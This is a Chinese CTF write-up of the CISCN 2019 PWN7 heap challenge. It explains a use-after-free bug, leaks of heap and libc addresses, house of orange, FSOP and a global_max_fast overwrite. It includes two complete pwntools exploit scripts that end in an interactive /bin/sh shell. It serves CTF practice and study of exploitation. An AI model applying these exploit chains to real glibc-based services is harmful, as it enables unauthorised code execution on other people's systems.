[CISCN2019 华中] PWN7 (WriteUp)
前言
学完基本的Heap
漏洞以及IO_FILE
攻击已经有挺长一段时间了,不过由于英语四级考试和高数阶段考等一堆琐事(主要还是因为我真的太摆烂了),我并没有做很多题目,对于一些利用手段的掌握可能也不是很好,于是最近抽空做了几道CISCN
,也就是国赛的堆题来练练手,增加熟练度,总的来说,国赛题目的质量的确很高!
在这两天我做的题当中,就属CISCN 2019
华中地区的PWN7
这题让我印象最深刻,出的实在是很不错,在BUUCTF
和NSSCTF
等在线靶场上都有复现环境,我也在BUU
上拿了个二血,在NSS
上拿了一血。
附件下载地址
题目分析
- 检查保护
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
可以看到只有canary
保护没开,而这是一道堆题,和canary
的关系不大,因此也相当于保护全开了。
- 漏洞分析
首先,可以在sub_D86()
中很明显地看到一处UAF
漏洞:
if ( *((_QWORD *)&unk_202040 + v0) )
{
printf("Ok, I'll kill %s for you, monsieur.\n", **((const char ***)&unk_202040 + v0));
free(*((void **)&unk_202040 + v0));
}
同时,我们发现这里的printf
是整个程序唯一可控的输出:可以通过控制unk_202040[v0]
的值来做到信息泄露。
其实,本题还有一些其他的漏洞,比如可通过传入负数把所拥有的钱变得很多,然后能够做到在结束程序前,对任意地址进行清零,不过在实际过程中并没有太大的用处。
-
限制分析
本题的限制还是比较多且比较严格的:
(1)我们UAF
的堆块只能是0x20
大小
(2)最多只能rescruit
十个servent
(3)所用的是calloc()
,故分配到的堆块会初始化清零(意味着没有信息残留),且不会从tcache
中取堆块
(4)我们所拥有的钱最多只有1000
,不过由于最多只能申请十个(一个100
),也够用了 -
libc版本
本题原题的libc
版本为2.27
,而我在写本篇博客的时候,增加了一个在libc-2.26
下的解法。
信息泄露
在漏洞分析中已经提到,只能通过sub_D86()
中的printf
来泄露信息,因此我们需要控制unk_202040[v0]
的值。
unk_202040[v0]
中存的是程序自身申请的0x20
大小的堆块的地址(fd
域),而我们输出的是这个0x20
的堆块的fd
域中所存地址(我们自定义大小申请的堆块的fd
域)中所存的值。
首先是泄露堆块基地址:这个其实很容易做到,只需要对tcache bin
进行double free
即可做到,因为tcache
中堆块指向的就是fd
域。
然后就是泄露libc的基地址了。
对于本题来说,最可能的泄露libc
方式就是通过unsorted bin
中堆块的fd
指向main_arena+88/96
来进行泄露了(其实也可以通过改为got
表来泄露,不过还是牵扯到改size
来造出“堆叠”的效果),而问题在于如何将堆块放入unsorted bin
,我们可控制进行free
的堆块只有程序自身申请的0x20
大小的堆块,而这个大小远远不足以进入unsorted bin
,因此我们容易想到通过修改这些0x20
堆块的size
以做到free
后进入unsorted bin
进行泄露。
接下来的问题就在于如何修改这些堆块的size
。
我们最先想到的就是通过Chunk Extend and Overlapping
来实现,而本题当中没有类似于off by one
等一些漏洞可做到堆叠,但是却有一个UAF
漏洞,故我们可以想到对fastbin
进行double free
,然后通过fastbin attack
,再加上之前已经泄露了堆块基地址,因此可以得到任意堆块地址的写入权限,就可以修改堆块的size
,进而达到类似于“堆叠”的效果,可通过这个被修改过size
的堆块,再修改其他堆块中的数据。
宏观上的思路大体如上,但是在实际写脚本的过程中还会遇到很多需要注意的细节问题,需要对堆块进行合理且精准的布局,具体见以下的代码。
其实,在泄露完信息以后,光靠堆的利用手段肯定不足以getshell
,再加上我们之前做到了类似于“堆叠”的效果,因此很容易想到需要利用IO_FILE
来做最后的攻击。
libc-2.26下的解法(house of orange)
剩下的部分只需要知道house of orange
就很容易做了,所以就简单地介绍下house of orange
吧。
house of orange
就是利用unsorted bin attack
配合 IO_FILE attack (FSOP)
进行攻击的一种利用方式。
通过unsorted bin attack
将_IO_list_all
内容从_IO_2_1_stderr_
改为main_arena+88
(实则指向top chunk
)。
而在_IO_FILE_plus
结构体中,_chain
的偏移为0x68
,而top chunk
之后为0x8
单位的last_remainder
,接下来为unsorted bin
的fd
与bk
指针,共0x10
大小,再之后为small bin
中的指针(每个small bin
有fd
与bk
指针,共0x10
个单位),剩下0x50
的单位,从smallbin[0]
正好分配到smallbin[4]
(准确说为其fd
字段),大小就是从0x20
到0x60
,而smallbin[4]
的fd
字段中的内容为该链表中最靠近表头的small bin
的地址 (chunk header
),因此0x60
的small bin
的地址即为fake struct
的_chain
中的内容,只需要控制该0x60
的small bin
(以及其下面某些堆块)中的部分内容,即可进行FSOP
。
如何控制0x60
的small bin
呢?
small bin
肯定是从unsorted bin
中转移过去的,因此可以通过“堆叠”修改unsorted bin
中某堆块的size
为0x60
,然后申请一个任意大小的堆块(但不能是0x60
,也不能在fastbin
中),使得unsorted bin
中的堆块进入相应的small bin
与large bin
,最终,由于我们申请的堆块不是0x60
,因此会访问到该unsorted bin
的bk
所指向的地址,而此地址中存放的并不是一个合法的堆块,所以会触发malloc_printeer->__libc_message->abort->_IO_flush_all_lockp->_IO_OVERFLOW
这条链,就可以进行FSOP
攻击了。
此外,由于栈环境的问题,可能需要多打几次才能成功地getshell
。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.26.so")
def add(size, name):
io.sendlineafter("choice:\n", b'1')
io.sendlineafter("rescruit?\n", b'1')
io.sendlineafter("servent:\n", str(size))
io.sendafter("servent:\n", name)
def delete(index):
io.sendlineafter("choice:\n", b'2')
io.sendlineafter("number:\n", str(index))
def exit():
io.sendlineafter("choice:\n", b'4')
def get_IO_str_jumps():
IO_file_jumps_addr = libc.sym['_IO_file_jumps']
IO_str_underflow_addr = libc.sym['_IO_str_underflow']
for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
possible_IO_str_jumps_addr = ref - 0x20
if possible_IO_str_jumps_addr > IO_file_jumps_addr:
return possible_IO_str_jumps_addr
if __name__ == '__main__':
io.sendlineafter("How much money do you want?\n", b'1000')
add(0x10, p64(0) + p64(0x21))
add(0x10, b'\n')
add(0x10, b'\n')
add(0x400, flat({0xa0:[0, 0x21, 0, 0]*2, 0x3b0:[0, 0x21, 0, 0]*2}, filler="\x00"))
delete(1)
delete(1)
delete(1)
io.recvuntil("kill ")
heap_base_addr = u64(io.recv(6).ljust(8, b"\x00")) - 0x2a0
success("heap_base_addr:\t" + hex(heap_base_addr))
for i in range(4):
delete(1)
delete(1)
delete(0)
delete(1)
delete(0)
add(0x18, p64(0) + p64(0x21) + p64(heap_base_addr + 0x280))
add(0x20, b'\n')
add(0x10, p64(0) + p64(0x151))
for i in range(7):
delete(1)
delete(1)
delete(0)
add(0x140, flat({0x30:[0, 0x421], 0x70:[0, 0x21, heap_base_addr + 0x2a0, 0, 0, 0x21]}, filler="\x00"))
delete(1)
delete(2)
delete(3)
io.recvuntil("kill ")
libc.address = u64(io.recv(6).ljust(8, b"\x00")) - 88 - 0x10 - libc.sym['__malloc_hook']
success("libc_base_addr:\t" + hex(libc.address))
delete(0)
payload = flat({
0x30: [0, 0x61, 0, libc.sym['_IO_list_all'] - 0x10],
0x30 + 0x28: 1,
0x30 + 0x38: next(libc.search(b'/bin/sh')),
0x30 + 0xd8: get_IO_str_jumps() - 8,
0x30 + 0xe8: libc.sym['system']
}, filler="\x00")
add(0x140, payload)
delete(0)
io.sendlineafter("choice:\n", b'1')
io.sendlineafter("rescruit?\n", b'1')
io.sendlineafter("servent:\n", str(0x20))
io.interactive()
libc-2.27下的解法(改global_max_fast,覆盖_IO_list_all)
在libc-2.27
下,上述利用house of orange
的方式就失效了,因为libc-2.27
中去掉了报错进入IO
流的部分,不过通过exit()
还是可以进入IO
流的,因此可以想到通过unsorted bin attack
改global_max_fast
为很大的数,并释放fake fastbin
以覆盖_IO_list_all
,再通过exit()
进入IO
流,触发FSOP
即可。
fastbin_ptr
在libc-2.23
指向main_arena+8
的地址,在libc-2.27
及以上指向main_arena+0x10
的地址,从此地址开始,存放了各大小的fast bin
的fd
指针,指向各单链表中首个堆块的地址。由此,我们可通过目标地址与fast bin
数组的偏移计算出所需free
的堆块的size
,计算方式如下:
fastbin_ptr = libc_base + libc.symbols['main_arena'] + 8(0x10)
index = (target_addr - fastbin_ptr) / 8
size = index * 0x10 + 0x20
此外,在打远程的时候,由于一般socket
限制大概是0x5B4
个字节,如果发送多了,数据也不能完全发送出去。因此,需要简单地操作一番,对数据进行分块发送。
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
io = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc-2.27.so")
def add(size, name):
io.sendlineafter("choice:\n", b'1')
io.sendlineafter("rescruit?\n", b'1')
io.sendlineafter("servent:\n", str(size))
io.sendafter("servent:\n", name)
def delete(index):
io.sendlineafter("choice:\n", b'2')
io.sendlineafter("number:\n", str(index))
def exit():
io.sendlineafter("choice:\n", b'4')
def get_IO_str_jumps():
IO_file_jumps_addr = libc.sym['_IO_file_jumps']
IO_str_underflow_addr = libc.sym['_IO_str_underflow']
for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
possible_IO_str_jumps_addr = ref - 0x20
if possible_IO_str_jumps_addr > IO_file_jumps_addr:
return possible_IO_str_jumps_addr
if __name__ == '__main__':
io.sendlineafter("How much money do you want?\n", b'1000')
add(0x10, p64(0) + p64(0x21))
add(0x10, b'\n')
add(0x10, p64(0) + p64(0x21))
add(0x1400, flat({0x3b0:[0, 0x21, 0, 0]*2}, filler="\x00"))
delete(1)
delete(1)
delete(1)
io.recvuntil("kill ")
heap_base_addr = u64(io.recv(6).ljust(8, b"\x00")) - 0x2a0
success("heap_base_addr:\t" + hex(heap_base_addr))
for i in range(4):
delete(1)
delete(1)
delete(0)
delete(1)
delete(0)
add(0x18, p64(0) + p64(0x21) + p64(heap_base_addr + 0x280))
add(0x20, p64(0) + p64(0x21))
add(0x10, p64(0) + p64(0x71))
for i in range(7):
delete(1)
delete(1)
add(0x60, flat({0:heap_base_addr + 0x2e0, 0x30:[0, 0x421]}, filler="\x00"))
delete(2)
delete(1)
io.recvuntil("kill ")
libc.address = u64(io.recv(6).ljust(8, b"\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
success("libc_base_addr:\t" + hex(libc.address))
delete(0)
global_max_fast_addr = libc.address + 0x3ed940
add(0x60, flat({0x30:[0, 0x421, 0, global_max_fast_addr - 0x10]}, filler="\x00"))
delete(0)
payload = flat({
0x30: [0, 0x1441],
0x30 + 0x28: 1,
0x30 + 0x38: next(libc.search(b'/bin/sh')),
0x30 + 0xd8: get_IO_str_jumps() - 8,
0x30 + 0xe8: libc.sym['system']
}, filler="\x00")
add(0x410, payload)
delete(3)
exit()
io.interactive()